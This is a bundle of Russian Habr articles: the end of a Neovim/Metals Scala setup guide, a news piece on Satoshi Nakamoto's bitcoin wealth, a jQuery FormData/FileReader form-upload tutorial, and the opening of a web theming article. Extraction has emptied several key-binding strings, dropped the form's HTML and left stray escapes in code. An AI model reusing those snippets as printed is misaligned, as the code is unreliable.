----------------------------------
-- настраиваем поведение автодополнения:
-- menueone - показывает всплывающее окно,
-- даже когда есть всего один вариант;
-- noinsert - не вставлять текст пока пользователь
-- не выберет один из предложенных вариантов;
vim.opt_global.completeopt = { "menuone", "noinsert" }
require('packer').startup(function(use)
...
-- устанавливаем compe
use { 'hrsh7th/nvim-compe' }
end)
-- минимальная настройка плагина:
require('compe').setup {
-- включаем плагин
enabled = true;
-- показываем всплывающее окно автоматически
autocomplete = true;
-- настраиваем источники подсказок
source = {
path = true;
buffer = true;
nvim_lsp = true;
}
}
-- показывать варианты по нажатию Ctrl + Space
imap("", "compe#complete()", { expr = true })
-- переход к следующему варианту
imap("", 'pumvisible() ? "\\" : "\\"', { expr = true })
-- переход к предыдущему варианту
imap("", 'pumvisible() ? "\\" : "\\"', { expr = true })
-- вставить текущий вариант
imap("", 'compe#confirm("\\")', { expr = true })
```
### Подсветка текущего символа под курсором
Чтобы было проще ориентироваться в текущем файле с кодом, можно включить подсветку символа под курсором. Это позволит быстрее находить места, в которых он используется:
| |
| --- |
В интернете можно найти достаточно много вопросов о том, почему данная функциональность не работает. И ещё больше советов о том, как её починить. Большинство советов сводится к тому, чтобы определять настройки подсветки в правильной последовательности относительно настройки LSP клиента. Проверенное решение — определять настройку подсветки в обработчике запуска LSP клиента. В случае с Metals, функция, вызываемая в момент запуска клиента, определяется в таблице настроек `metals_config` и называется `on_attach` (мы уже встречали её ранее):
```
metals_config.on_attach = function(client, bufnr)
...
vim.cmd([[hi! link LspReferenceText CursorColumn]])
vim.cmd([[hi! link LspReferenceRead CursorColumn]])
vim.cmd([[hi! link LspReferenceWrite CursorColumn]])
vim.cmd([[autocmd CursorHold lua vim.lsp.buf.document\_highlight()]])
vim.cmd([[autocmd CursorHoldI lua vim.lsp.buf.document\_highlight()]])
vim.cmd([[autocmd CursorMoved lua vim.lsp.buf.clear\_references()]])
end
```
Подсветка текущего символа происходит при наступлении события `CursorHold`. По умолчанию это событие происходит по истечении 4 секунд после последнего перемещения курсора. Стоит сократить это значение (обратите внимание на то, что эта настройка также влияет на частоту записи в swap-файл):
```
vim.opt_global.updatetime = 300
```
### Better Quickfix Window
Quickfix window часто используется во многих фичах LSP, таких как переход к месту использования символа или поиск реализаций. Поэтому улучшение поведения самого quickfix window — довольно привлекательная идея. Плагин [nvim-bqf](https://github.com/kevinhwang91/nvim-bqf) позволяет выполнить предварительный просмотр найденного места в всплывающем окне:
| default | nvim-bqf |
| --- | --- |
| original | with nvin-saga |
### LSP Saga
Следующий плагин целиком посвящен непосредственно улучшению пользовательского опыта работы с LSP: [lspsaga](https://github.com/glepnir/lspsaga.nvim). Вообще плагин предлагает альтернативное оформление для довольного большого набора функциональностей, но я предпочитаю пользоваться следующими:
* **Показать описание символа под курсором:**
| default | lspsaga |
| --- | --- |
| original | with nvim-saga |
* **Показать сигнатуру метода:**
| default | lspsaga |
| --- | --- |
| original | with nvim-saga |
* **Переименовать символ под курсором:**
| default | lspsaga |
| --- | --- |
| original | with nvim-saga |
* **Показать список доступных действий:**
| default | lspsaga |
| --- | --- |
| original | with nvim-saga |
* **Переход к предыдущей/следующей ошибке:**
| default | lspsaga |
| --- | --- |
| original | with nvim-saga |
Соответствующие функции заменяются в конфигурации горячих клавиш:
```
nmap("K", "lua require('lspsaga.hover').render\_hover\_doc()")
nmap("", "lua require('lspsaga.signaturehelp').signature\_help()")
imap("", "lua require('lspsaga.signaturehelp').signature\_help()")
nmap("rn", "lua require('lspsaga.rename').rename()")
nmap("ca", "lua require('lspsaga.codeaction').code\_action()")
nmap("[c", "lua require('lspsaga.diagnostic').lsp\_jump\_diagnostic\_prev()")
nmap("]c", "lua require('lspsaga.diagnostic').lsp\_jump\_diagnostic\_next()")
```
### Telescope
Я не могу в контексте Neovim не рассказать про [Telescope](https://github.com/nvim-telescope/telescope.nvim). Этот плагин унифицирует опыт поиска чего бы то ни было в Neovim, а `nvim-metals`, в свою очередь, имеет встроенную интеграцию с `Telescope`. Следующая команда открывает окно поиска команд для Metals:
```
:Telescope metals commands
```
| |
| --- |
Если привязать команду к горячим клавишам, она оказывается довольно удобной в повседневном использовании.
```
nmap(";m", "Telescope metals commands")
```
Еще удобно добавить директорию `target` в список исключений при поиске файлов:
```
local ignore_patterns = "{ file_ignore_patterns = { 'target/' } }"
nmap(";f", "lua require('telescope.builtin').find\_files(" .. ignore\_patterns .. ")")
```
| find\_files | find\_files(ignore\_patterns) |
| --- | --- |
| without filter | with filter |
На правах заключения
--------------------
Наконец, я приведу список всех упомянутых плагинов и конечный вариант конфигурации:
* [Packer](https://github.com/wbthomason/packer.nvim)
* [nvim-lspconfig](https://github.com/neovim/nvim-lspconfig)
* [nvim-metals](https://github.com/scalameta/nvim-metals)
* [nvim-compe](https://github.com/hrsh7th/nvim-compe)
* [nvim-bqf](https://github.com/kevinhwang91/nvim-bqf)
* [lspsaga](https://github.com/glepnir/lspsaga.nvim)
* [Telescope](https://github.com/nvim-telescope/telescope.nvim)
**Конечный вариант конфигурации**
```
------------------------------------------------------------
-- Utilities
------------------------------------------------------------
-- {{{
local function map(mode, keys, action, opts, bufnr)
local options = { noremap = true }
if opts then
options = vim.tbl_extend("force", options, opts)
end
if bufnr then
vim.api.nvim_buf_set_keymap(bufnr, mode, keys, action, options)
else
vim.api.nvim_set_keymap(mode, keys, action, options)
end
end
-- equivalent of nnoremap
local function nmap(keys, action, opts)
map('n', keys, action, opts)
end
-- equivalent of inoremap
local function imap(keys, action, opts)
map('i', keys, action, opts)
end
-- }}}
------------------------------------------------------------
-- Global options
------------------------------------------------------------
-- {{{
-- turn on mouse:
vim.opt_global.mouse = 'a'
-- turns on syntax highlight
vim.opt_global.syntax = 'on'
-- a 'size' of in spaces
vim.opt\_global.tabstop = 2
vim.opt\_global.softtabstop = 2
-- number of spaces to use for each step of (auto)indent
vim.opt\_global.shiftwidth = 2
-- a comma separated list of options for Insert mode completion
-- menuone - use a popup menu to show the possible completions,
-- also when there is only one match;
-- noinsert - do not insert any text for a match until the user
-- selects a match from the menu;
vim.opt\_global.completeopt = { "menuone", "noinsert" }
-- needed for correct work of the metals
vim.opt\_global.shortmess:remove("F"):append("c")
-- speedup used for the CursorHold autocommand event
vim.opt\_global.updatetime = 300
-- }}}
------------------------------------------------------------
-- Plugins
------------------------------------------------------------
-- {{{
vim.cmd([[packadd packer.nvim]])
require("packer").startup(function(use)
-- packer can manage itself
use { 'wbthomason/packer.nvim', opt = true }
-- autocompletion
use { "hrsh7th/nvim-compe" }
-- dap
use { 'mfussenegger/nvim-dap' }
-- better quickfix
use { 'kevinhwang91/nvim-bqf' }
-- scala metals
use { 'neovim/nvim-lspconfig' }
use { 'scalameta/nvim-metals' }
-- for better ui
use { 'glepnir/lspsaga.nvim' }
-- telescope
use {
'nvim-telescope/telescope.nvim',
requires = {{'nvim-lua/popup.nvim'}, {'nvim-lua/plenary.nvim'}}
}
end)
-- }}}
------------------------------------------------------------
-- DAP (Debug Adapter Protocol)
------------------------------------------------------------
-- {{{
require("dap").configurations.scala = {
{
type = "scala",
request = "launch",
name = "Run",
metals = {
runType = "run",
},
},
{
type = "scala",
request = "launch",
name = "Test File",
metals = {
runType = "testFile",
},
},
}
-- }}}
------------------------------------------------------------
-- Metals
------------------------------------------------------------
--{{{
metals\_config = require'metals'.bare\_config
metals\_config.init\_options.statusBarProvider = "on"
metals\_config.root\_patterns = { "build.sbt", "build.sc", ".git", ".bloop" }
metals\_config.settings = {
showImplicitArguments = true,
showInferredType = true,
}
metals\_config.handlers["textDocument/publishDiagnostics"] = vim.lsp.with(
vim.lsp.diagnostic.on\_publish\_diagnostics, {
virtual\_text = {
prefix = "",
}
}
)
metals\_config.tvp = {
panel\_alignment = "right"
}
metals\_config.on\_attach = function(client, bufnr)
-- turn on dap support
require('metals').setup\_dap()
vim.api.nvim\_buf\_set\_option(bufnr, 'omnifunc', 'v:lua.vim.lsp.omnifunc')
-- buffer local mapping
local function nmap(keys, action, opts) map('n', keys, action, opts, bufnr) end
local function imap(keys, action, opts) map('i', keys, action, opts, bufnr) end
-- go to definition
nmap('gd', "lua vim.lsp.buf.definition()")
-- go to implementation
nmap('gi', "lua vim.lsp.buf.implementation()")
-- show all places where the symbol under cursor is used
nmap('gr', "lua vim.lsp.buf.references()")
-- show description of the symbol under cursor
nmap('K', "lua require('lspsaga.hover').render\_hover\_doc()")
-- show signature of current method
nmap('', "lua require('lspsaga.signaturehelp').signature\_help()")
imap('', "lua require('lspsaga.signaturehelp').signature\_help()")
-- format current buffer
nmap('f', 'lua vim.lsp.buf.formatting()')
-- renave the symbol under cursor
nmap('rn', 'lua require("lspsaga.rename").rename()')
-- show all possible actions
nmap('ca', 'lua require("lspsaga.codeaction").code\_action()')
-- go to error before cursor
nmap('[c', 'lua require("lspsaga.diagnostic").lsp\_jump\_diagnostic\_prev()')
-- go to error after cursor
nmap(']c', 'lua require("lspsaga.diagnostic").lsp\_jump\_diagnostic\_next()')
-- show current buffer in the tree view
nmap('tr', 'lua require("metals.tvp").reveal\_in\_tree()')
-- DAP
nmap('dc', 'lua require("dap").continue()')
nmap('dl', 'lua require("dap").run\_last()')
nmap('dr', 'lua require("dap").repl.toggle()')
nmap('ds', 'lua require("dap.ui.variables").scopes()')
nmap('dt', 'lua require("dap").toggle\_breakpoint()')
nmap('do', 'lua require("dap").step\_over()')
nmap('di', 'lua require("dap").step\_into()')
nmap('du', 'lua require("dap").step\_out()')
nmap('dst', 'lua require("dap").stop()')
-- Need for symbol highlights to work correctly
vim.cmd([[hi! link LspReferenceText CursorColumn]])
vim.cmd([[hi! link LspReferenceRead CursorColumn]])
vim.cmd([[hi! link LspReferenceWrite CursorColumn]])
vim.cmd([[autocmd CursorHold lua vim.lsp.buf.document\_highlight()]])
vim.cmd([[autocmd CursorHoldI lua vim.lsp.buf.document\_highlight()]])
vim.cmd([[autocmd CursorMoved lua vim.lsp.buf.clear\_references()]])
end
-- Run metals on open scala file
vim.cmd([[augroup scalametals]])
vim.cmd([[autocmd!]])
vim.cmd([[autocmd FileType scala,sbt lua require("metals").initialize\_or\_attach(metals\_config)]])
vim.cmd([[augroup end]])
--}}}
------------------------------------------------------------
-- Autocompletion
------------------------------------------------------------
--{{{
require'compe'.setup {
enabled = true;
autocomplete = true;
source = {
path = true;
buffer = true;
nvim\_lsp = true;
}
}
--}}}
------------------------------------------------------------
-- Statusline configuration
------------------------------------------------------------
-- {{{
function InitStatusline()
local background\_color = '%#CursorColumn#'
local current\_file = '%t'
local metals\_status = '%{metals#status()}'
local separator = '%='
return background\_color .. current\_file .. separator .. metals\_status
end
vim.opt\_global.statusline = InitStatusline()
--}}}
------------------------------------------------------------
-- Keymapping
------------------------------------------------------------
-- {{{
-- select next option in autocompletion
imap("", "compe#complete()", { expr = true })
imap("", 'pumvisible() ? "\\" : "\\"', { expr = true })
-- select next option in autocompletion
imap("", 'pumvisible() ? "\\" : "\\"', { expr = true })
-- make choice by pressing
imap("", "compe#confirm({ 'keys': '', 'select': v:true })", { expr = true })
-- find files
local ignore\_patterns = "{ file\_ignore\_patterns = { 'target/' } }"
nmap(";f", "lua require('telescope.builtin').find\_files(" .. ignore\_patterns .. ")")
nmap(";F", "lua require('telescope.builtin').find\_files({ hidden = true })")
-- find buffers
nmap(";e", "lua require('telescope.builtin').live\_grep()")
-- find recent files
nmap(";o", "lua require('telescope.builtin').oldfiles()")
-- find metals commands
nmap("m", "Telescope metals commands")
-- }}}
```
Несмотря на то, что в начале надо потратить время, чтобы разобраться с новым инструментом, вопреки тому, что на сегодня набор функций для рефакторинга у Metals довольно скудный, у Neovim есть что предложить scala-разработчику. Это более бережное отношение к ресурсам вашей системы, корректные диагностические сообщения прямиком от компилятора (!), высокая скорость редактирования кода (да, знаю что это субъективно, но если вы прочитали статью целиком, скорее всего вы сторонник этого утверждения :) ), одинаковый пользовательский опыт (что немаловажно — бесплатно) при работе с любым языком, для которого реализована поддержка LSP. И наконец, огромное количество плагинов, которые способны ещё сильнее сократить отличие от IDE.
Конечный выбор всегда за вами, но согласитесь, хорошо, когда есть из чего его делать. В общем...
 | https://habr.com/ru/post/570762/ | null | ru | null |
# Сатоши Накамото вошёл в число 50-ти богатейших людей мира
[](https://habrastorage.org/webt/5p/td/uh/5ptduhi08itg9unvqdhv4wkpnpy.gif)
*График всех блоков Bitcoin с 1 до 50000. Чёрные точки — это непотраченные монеты, которые соответствуют паттерну майнинга Сатоши. Красные точки — потраченные монеты. Жёлтые — непотраченные монеты, которые не соответствуют паттерну Сатоши. Картинка кликабельна*
Журнал Forbes опубликовал традиционный список богатейших людей мира, в [44-й редакции](https://www.forbes.com/billionaires/list/). По какой-то причине в список не вошёл один известный аноним, который должен там быть по своему фактическому состоянию. Разумеется, это таинственный Сатоши Накамото, личность которого может быть известна только специалистам АНБ — из-за угрозы мировой финансовой системе и подозрений в российском участии в своё время они якобы провели [спецоперацию по деанонимизации Сатоши](https://geektimes.ru/post/292457/), но результаты никому не сообщили.
На момент составления рейтинга Forbes курс биткоина составлял $19771, так состояние Сатоши Накамото можно оценить в $19,4 млрд, это 44-е место в мире. Непосредственно перед Сатоши в списке Forbes находились бы сооснователь Microsoft Пол Аллен и вдова Стива Джобса — Лорен Пауэлл Джобс, а также шведский предприниматель и совладелец компании H&M Стефан Перссон.
В 2008 году Сатоши Накамото опубликовал научную статью с описанием принципов работы блокчейна ([pdf](https://bitcoin.org/bitcoin.pdf)). Затем найденные на форумах единомышленники помогли доработать первую версию программного обеспечения — и он [начал майнить](https://habrahabr.ru/post/177149/) на своём слабеньком компьютере. Обычного CPU класса Pentium было достаточно, чтобы получать по 50 BTC каждые 10 минут.
Анализ начальных транзакций (генерация и трата монет в промежутке между блоками 1 и 36288, [график](https://habrastorage.org/getpro/habr/post_images/2eb/68b/16e/2eb68b16edccb8cb8cbc033706d820d4.png)) показывает, что c 3 января 2009 года по 25 января 2010 года майнингом занимался практически только один человек, и абсолютное большинство добытых в то время монет хранятся у него до сих пор.
Интересно, что в параметр coinbase первого блока Genesis Сатоши Накомото вместе с техническими данными [записал фразу](https://en.bitcoin.it/wiki/Genesis_block):
`The Times 03/Jan/2009 Chancellor on brink of second bailout for banks`
Эта фраза совпадает с фразой передовицы газеты *The Times* за ту же дату.
Она является доказательством, что первый блок был сгенерирован не ранее даты выхода газеты.
Исследователи неоднократно изучали генерацию первых блоков, и в них можно чётко отделить, что намайнил Сатоши, а что остальные. Например, изображение первых 15-ти блоков (с пометкой номера блока и extraNonce) даёт понять, что коллеги начали помогать с блока 12 (иллюстрация слева). В целом, в первый год Сатоши вёл майнинг практически в одиночку. Видимо, другие не хотели слишком сильно загружать процессоры своих компьютеров посторонним процессом.
Итак, после фильтрации лишних блоков выходит, что на компьютере анонимного изобретателя криптовалюты было сгенерировано 19600 блоков, то есть 980 000 BTC. Как уже говорилось выше, отслеживание монет показывает, что почти все они по-прежнему хранятся на тех же кошельках.
О личности создателя биткоина мало что известно. В своём профиле на P2P Foundation он говорил что родом из Японии, но [экспертиза Пененберга](https://habrahabr.ru/post/130248/) определила у Сатоши отличное знание английского языка, яркий и чёткий стиль и очень малое количество опечаток в текстах. По мнению лингвиста, разработчик Bitcoin умышленно использовал британскую маскировку, чтобы затруднить лингвистический анализ своих текстов. Например, в самом первом сообщении на форуме он использовал американский английский, но после этого полностью переключился на классическое правописание с использованием таких слов как colour вместо color, grey вместо gray и так далее, украшая тексты изысканными фразами вроде bloody hard.
Анализ программного кода показал, что разработчик — «программист мирового уровня с глубоким знанием C++ и обширным бэкграундом в области криптографии, экономики и P2P-систем».
Сатоши Накамото занимался созданием Bitcoin с 2007 года. Он продолжал общение с соратниками и после выхода программного обеспечения, но его появления становились всё более редкими. Весной 2011 года Сатоши объявил о своём выходе из проекта. Как он сам сказал: «Для занятия более важными делами». | https://habr.com/ru/post/409185/ | null | ru | null |
# Кроссбраузерная отправка формы с файлом или как переписать весь отправщик несколько раз после тестирования в IE
***Задача:*** отправка и обработка файлов с помощью FormData и FileReader в форме со всеми возможными полями и пересылкой дополнительных параметров для каждого поля c объединением всех данных формы (кроме файлов и системных полей) в общий массив.
***Поддержка:*** все современные браузеры, IE 10+.
***Плагины:*** jquery-2.1.4
**Для начала разберемся, что же такое FormData**
*Formdata* — тип данных в рамках технологии XHR2, данные в нем хранятся в виде пар ключ / значение.
*new Formdata ()* — это конструктор для создания объекта FormData.
[Подробнее о FormData](https://developer.mozilla.org/ru/docs/Web/API/FormData/FormData)
FormData имеет множество методов для полноценной работы с ней, таких как:
* .get() — возвращает данные по ключу;
* .getAll() — возвращает массив всех значений, ассоциированных с этим ключом;
* .has() — возвращает булевое значение касательно наличия объекта;
* .set() — добавляет значение к уже существующему ключу и, если его нет, создает его;
* .append() — создает новую пару ключ / значение;
* .delete() — удаляет объект по ключу;
* .forEach() — на нем остановимся подробнее:
В начале работы с FormData появилась весьма сложная проблема из-за того что встал вопрос: как можно перебрать данные в этом объекте? На русскоязычных ресурсах данных найдено не было, зато при получении списка всех методов объекта был найден forEach(), который позволил очень легко перебирать данные. Но появилась проблема, связанная с поддержкой браузерами. Так что этот метод не годится — нужна полная поддержка.
Также FormData можно перебирать с помощью цикла for...of (доступно в ECMAScript 6, с нативной поддержкой которого также есть проблемы).
Главная проблема FormData заключается в Internet explorer (как всегда), а вернее, в его поддержке. Из всех методов, которые есть в FormData, Internet explorer поддерживает только append(), что уничтожает всю простоту использования. Следовательно, мы не можем собрать форму с помощью простого вызова конструктора и последующего изменения данных в ней, и придется это делать вручную:
* Получим все данные формы через serializeArray(), переберем, проверим их на пустоту и, вместе с заголовком (data-title), если это не системное поле (type=”hidden”), занесем в ассоциативный массив, отдельный для каждого поля, а далее добавим в наш массив для данных формы.
* Системные поля мы сразу добавляем методом append() в FormData.
Файлы будем собирать с помощью списка, который формирует пользователь при закачке и дальнейшими манипуляциями со списком на клиенте, то есть будем сравнивать те файлы, которые у нас остались в списке, с теми, что хранятся в input type=”file” и с помощью переборки добавлять только те, что оставил пользователь.
**Теперь познакомимся с FileReader**
FileReader — это объект, который позволяет веб-приложениям асинхронно читать содержимое файлов (или буферы данных), хранящиеся на компьютере пользователя, используя объекты File или Blob, с помощью которых задается файл или данные для чтения.
→ [Подробнее о filereader](https://developer.mozilla.org/ru/docs/Web/API/FileReader)
С его помощью мы будем отслеживать загрузку файлов на клиенте, формировать список загруженных файлов и выводить для них прогресс бар.
Теперь к самой задаче
Форма, которую мы будет пересылать:
```
Первый пункт
Второй пункт
Первый пункт
Второй пункт
Отправка формы
```
Для удобства пользователей предоставим им возможность добавления сразу большого количества файлов. С этой целью укажем в поле name значение file[] и атрибут multiple, с ограничением только картинки accept=«image».
Для пользователей также будем выводить список файлов, которые они загрузили с раздельным progress bar-ом для каждого файла и возможностью удаления перед отправкой. И тут мы столкнулись с проблемой. Дело в том, что fileList (массив загруженных файлов) у нашего input предназначен только для чтения, и удалить только выбранный пользователем файл мы не можем. Так что было решено перед отправкой на сервер сверять список, который уже сформировал пользователь, с тем что уже загружено. И при совпадении со списком файл будет добавляться в FormData.
***1) Создаем саму функцию отправки через ajax:***
```
var form = form; //текущая форма
function formSend(formObject, form) {
$.ajax({
type: "POST",
url: 'form-handler.php',
dataType: 'json',
contentType: false,
processData: false,
data: formObject,
success: function() {
$(form).trigger('reset');
//при успешной отправке сбрасываем форму в дефолтное состояние
alert('Success');
}
});
};
```
***2) Создаем функцию сборки формы:***
```
function formData_assembly(form) {
var formSendAll = new FormData(), //создаем объект FormData
form_arr = $(form).find(':input,select,textarea').serializeArray(), //собираем все данные с формы без файлов
formdata = {}; //ассациативный массив для хранения данных с формы
for (var i = 0; i < form_arr.length; i++) {
if (form_arr[i].value.length > 0) { //перебераем массив с данными формы и проверяем на заполненность
var current_input = $(form).find('input[name=' +
form_arr[i].name +
'],select[name=' +
form_arr[i].name +
'],textarea[name=' +
form_arr[i].name + ']'),
value_arr = {}; // новые массив с данными каждого поля + заголовок
var title = $(current_input).attr('data-title'); //заголовок поля
if ($(current_input).attr('type') != 'hidden') { //проверяем не является ли поле системным
value_arr['value'] = form_arr[i].value;
value_arr['title'] = title;
formdata[form_arr[i].name] = value_arr;
} else {
formSendAll.append(form_arr[i].name, form_arr[i].value); //системные поля пересылаем отдельно от общей формы
}
}
}
formdata = JSON.stringify(formdata);
formSendAll.append('formData', formdata); // добавляем все поля в formdata
// file
if ($(form).find('input[type=file]').hasClass('js_file_check')) { //проверяем есть ли input type file для пересылки
var current_input = $(form).find('input[type=file]');
if ($(current_input).val().length > 0) { //проверяем на заполненность
$('.js_file_list li').each(function() {
var list_file_name = $(this).find('span').text();
for (var k = 0; k < $(current_input)[0].files.length; k++) {
if (list_file_name == $(current_input)[0].files[k].name) { //сверяем список выбранных файлов для загрузки
formSendAll.append($(current_input).attr('name'), $(current_input)[0].files[k]); // добавляем только те что остались в списке
}
}
})
}
}
formSend(formSendAll, form);
}
formData_assembly(form);
```
***3) Оборачиваем все это в функцию для удобного вызова по событию:***
```
function submit_function(form){...}
```
***4) Вешаем функцию на событие клика на кнопку отправки формы:***
```
$('.js_btn_submit').click(function (e) {
e.preventDefault();
var current_form = $(this).closest('form');//Текущая форма
submit_function(current_form);
})
```
Теперь у нас есть полноценный отправщик формы, осталось только написать обработчик для файлов.
***1) Создадим функцию отслеживания состояния input type=file:***
```
function checkFile(){
var inputs = document.getElementsByClassName('js_file_check');
for (var i = 0; i < inputs.length; i++) {
inputs[i].addEventListener('change', handleFileSelect, false);
}
}
checkFile();
```
***2) Напишем обработчик ошибок:***
```
var reader;
function abortRead() {
reader.abort();
}
function errorHandler(evt) {
switch (evt.target.error.code) {
case evt.target.error.NOT_FOUND_ERR:
alert('File Not Found!');
break;
case evt.target.error.NOT_READABLE_ERR:
alert('File is not readable');
break;
case evt.target.error.ABORT_ERR:
break; // noop
default:
alert('An error occurred reading this file.');
};
}
```
***3) Напишем функцию для переборки файлов в fileList нашего input type=file:***
```
function handleFileSelect(evt) {
var thisInput = $(this); //input type file для множественных загрузок
for (var i = 0; i < thisInput[0].files.length; i++) { //перебираем все загруженные файлы и запускаем обработчик для каждого
reader_file(thisInput[0].files[i]); //добавляем обработчик для каждого файла
}
}
```
***4) Теперь непосредственно сам обработчик:***
```
function reader_file(file) {
var reader = new FileReader(),
fileName = file.name;
reader.onerror = errorHandler; //функция для обработки ошибок
$('.js_file_list').append('- ' +
fileName +
'
'); //добавляем все новые файлы в список на клиенте
reader.onabort = function(e) {
alert('File read cancelled');
};
reader.onload = function(e) { //событие успешного окончания загрузки
//что-нибудь делаем
}
reader.onprogress = function(event) { // вывод процентной полосы загрузки
if (event.lengthComputable) {
var percent = parseInt(((event.loaded / event.total) * 100), 10);
$('.js_progress_bar').css('width', percent + '%');
}
}
if (reader.readAsBinaryString === undefined) { // если браузер не поддерживает readAsBinaryString
reader.readAsBinaryString = function(fileData) {
var binary = "",
pt = this,
reader = new FileReader();
reader.onload = function(e) {
var bytes = new Uint8Array(reader.result);
var length = bytes.byteLength;
for (var i = 0; i < length; i++) {
binary += String.fromCharCode(bytes[i]);
}
pt.content = binary;
$(pt).trigger('onload');
}
}
reader.readAsArrayBuffer(file);
} else {
reader.readAsBinaryString(file);
}
}
```
***5) Добавим возможность удаления файлов из списка:***
```
$(document).on('click', '.js_file_remove', function() {
var list_item = $(this).closest('li');
$(list_item).remove();
});
```
***6) Можем использовать наш отправщик, не забыв поднять локальный сервер:***
[ссылка на демо](https://bitbucket.org/tutmee/lecture-alex.git) | https://habr.com/ru/post/325340/ | null | ru | null |
# Темизация, часть 3. Themeizer – юный попутчик стилей
Вот уже третья статья выходит с темой, которой не существует. Первая статья затевалась для того, чтобы описать полезный и интересный функционал, да ещё и дающий красивый результат. Сейчас же пора признать, что темизация это не про внедрение бездушного черно-белого мира и не про личные прихоти, это важный шаг в вопросах доступности сервиса и в целях его конверсии.
Если техническая часть первой статьи была посвящена клиентской части, второй – серверной, то в третьей я бы хотел рассказать о нелёгком пути, который проделывают стили до попадания на сайт и о попутчике, которого я создал им в помощь, дружелюбном и помогающем им на каждом шаге – от дизайна до вёрстки. Я назвал его Themeizer и в завершающей трилогию статье, хотел бы вас познакомить с ним, с его умениями и рассказать о процессе его зарождения.
Прежде чем переходить к знакомству, стоит немного освежить память и зафиксировать ключевые моменты из предыдущих статей.
### Основные моменты
**Часть 1. Темизация. История, причины, реализация** [[статья](https://habr.com/ru/post/563572/)]
* Имена переменных строятся по принципу **kebab-case.**
*Например* `--shared-primary-hover`.
Здесь стоит дополнить, что это ожидаемый вид на уровне кода, в figma для подобного созданы папки. То есть данная переменная будет храниться по пути shared/primary/hover.
* Имена переменных должны отражать их назначение и не содержать информацию о конкретных оттенках.
*Например* `--button-primary` (*не* `--blue-200`).
* Темизацию можно настроить посредством внешних файлов стилей, средствами css-in-js и/или css-переменных.
* В случае с css-переменными:
1. Для каждой темы создаются классы, содержащие переменные с цветами;
2. Выбирается тема по умолчанию. Класс с данной темой добавляется корневому элементу;
3. При смене тем происходит изменение класса у корневого элемента;
4. Все стили пишутся с использованием css-переменных.
* Тема сохраняется в cookies или в локальном хранилище. При следующем входе должна быть отрисована страница с нужной темой.
**Часть 2. Новые браузерные API. Темизация при SSR. Выбор между SPA, SSR и SSG** [[статья](https://habr.com/ru/post/645113/)]
* Темизация может быть реализована как на уровне клиента, так и на уровне сервера. У каждого варианта есть свои плюсы и минусы.
* На сервере можно получить тему пользователя (в том числе нового) и отрисовать страницу сразу с нужной цветовой схемой.
#### Дополнительно стоит уделить внимание ещё двум css-свойствам
**color-scheme**
Свойство указывает браузеру, с какими цветовыми схемами может быть отрисован элемент. Это свойство влияет на элементы пользовательского интерфейса (*цвета полей, кнопок, полос прокрутки, текста, фона и т.д.*). В настоящее время документация описывают следующие возможные значения:
`normal`
Значение по умолчанию, означает, что сайт не поддерживает цветовых схем. Элементы интерфейса браузера будут оформлены в светлой цветовой схеме.
`light`
Означает, что сайт поддерживает светлую (дневную) тему. Элементы интерфейса браузера будут оформлены в светлой цветовой схеме.
`dark`
Означает, что сайт поддерживает тёмную (ночную) тему. Элементы интерфейса браузера будут оформлены в тёмной цветовой схеме.
`only`
Пользовательский агент может принудительно переопределить цветовую схему элемента на предпочтительную цветовую схему пользователя. Свойство используется для того, чтобы запретить подобное переопределение (*поддержка данного значения реализована только в safari*).
Также в качестве свойства можно указать любое другое значение. Все значения, не описанные выше, не будут иметь никакого действия (*логика добавлена для обратной совместимости в будущем*).
В случае темизации, свойство должно быть оформлено следующим образом:
```
:root {
color-scheme: light dark;
}
.light-theme-example {
color-scheme: light;
}
.dark-theme-example {
color-scheme: dark;
}
```
Где `color-scheme: light dark;` означает, что страница поддерживает светлую и тёмную схемы, с предпочтением светлой темы.
Источник: caniuse.com. Поддержка css-свойства color-schemeТак как на загрузку и добавление стилей браузеру нужно время, возможны мерцания стилей при переопределение цветовой схемы. Для того, чтобы данная ситуация не возникала, можно использовать метатег , который сразу сообщит пользовательскому агенту о поддерживаемых схемах.
Например, говорит о том, что страница поддерживает тёмную и светлую тему, с предпочтением тёмной темы.
Источник: caniuse.com. Поддержка метатега color-scheme**accent-color**
Данное свойство используется для изменения цвета акцента (*основного цвета*) для интерактивных элементов.
В качестве значения может быть:
`авто` – устанавливает акцентный цвет платформы (*если таковой имеется*);
`<цвет>` – цвет в любом формате.
Указанный цвет автоматически подстраивает контрастность других составных частей элемента (*цвет текста, фона, ползунков и т.д.*). Также могут генерироваться вариации цвета для градиентов и т. д., чтобы привести элемент управления в соответствие с соглашениями платформы об использовании цвета акцента.
На данный момент поддерживаются следующие HTML элементы:
*
*
*
*
Источник: caniuse.com. Поддержка css-свойства accent-colorПосмотреть, как работает данное свойство можно на странице, созданной [Джоуи Архаром](https://twitter.com/josepharhar) – [accent-color.glitch.me](https://accent-color.glitch.me/).
После закрепления основных моментов, можно переходить к следующему разделу – к процессам и предпосылкам.
### Шаги при реализации темизации
Для полноценной темизации нужно предпринять 3 шага:
1. Дизайн;
2. Вёрстка посредством переменных;
3. Настроить логику смены тем.
Как ни странно, внедрение темизации начинается с дизайна. Это очень важный и весьма масштабный шаг и чем позже происходит добавление новых цветовых схем, тем длиннее становится этот шаг. В целом, этот процесс можно разделить на две основные задачи:
1. Продумывание и создание новых цветовых схем;
2. Создание макетов под каждую схему.
Второй пункт может показаться излишним, но после создания цветовых схем для каждой темы, их нужно проверить. Сделать это можно лишь после создания макетов всех страниц для каждой темы. Достаточно трудоёмкий процесс, но только так можно убедиться, что текущая цветовая палитра смотрится качественно всегда и везде.
Все дальнейшие изменения в дизайне также должны происходить в макетах для каждой темы. Эту проблему отлично решают качественные дизайн системы и компоненты, но построить весь дизайн только лишь на компонентах сложно и, пожалуй, даже вредно.
Очевидно, что разработка и поддержка вариантов с каждой темой это монотонный и занимающий слишком много драгоценного времени процесс. При всей любви к тёмной теме, усложнять столь значимым образом жизнь дизайнеру (*и впоследствии разработчикам*) несправедливо, поэтому, было бы неплохо расширить базовый функционал и упростить выполнение подобных задач.
### Дизайн и Figma
Читая о дизайн системах нередко можно столкнуться с определением дизайн-токенов. Обычно под ними подразумевают цвета, типографику, размеры, эффекты и прочие значения. Стандартная структура дизайн-токенов это пара ключ-значение. В контексте Figma, таковыми можно назвать объекты, описывающие те или иные стили.
#### Figma-токены
Несмотря на общий концепт (*все стили описываются в виде объектов*) общей структуры у Figma токенов нет. Например объект цвета выглядит следующим образом:
```
{
description: "",
id: "S:8c32367364cb87031fe4e21199c240a3f8c79dd9,",
key: "8c95767364cb87031fe4e21199c2a3f8c39dd9",
name: "dark/primary",
paints: [
{
blendMode: "NORMAL",
color: {r: 0.3999999761581421, g: 0.7120000123977661, b: 1},
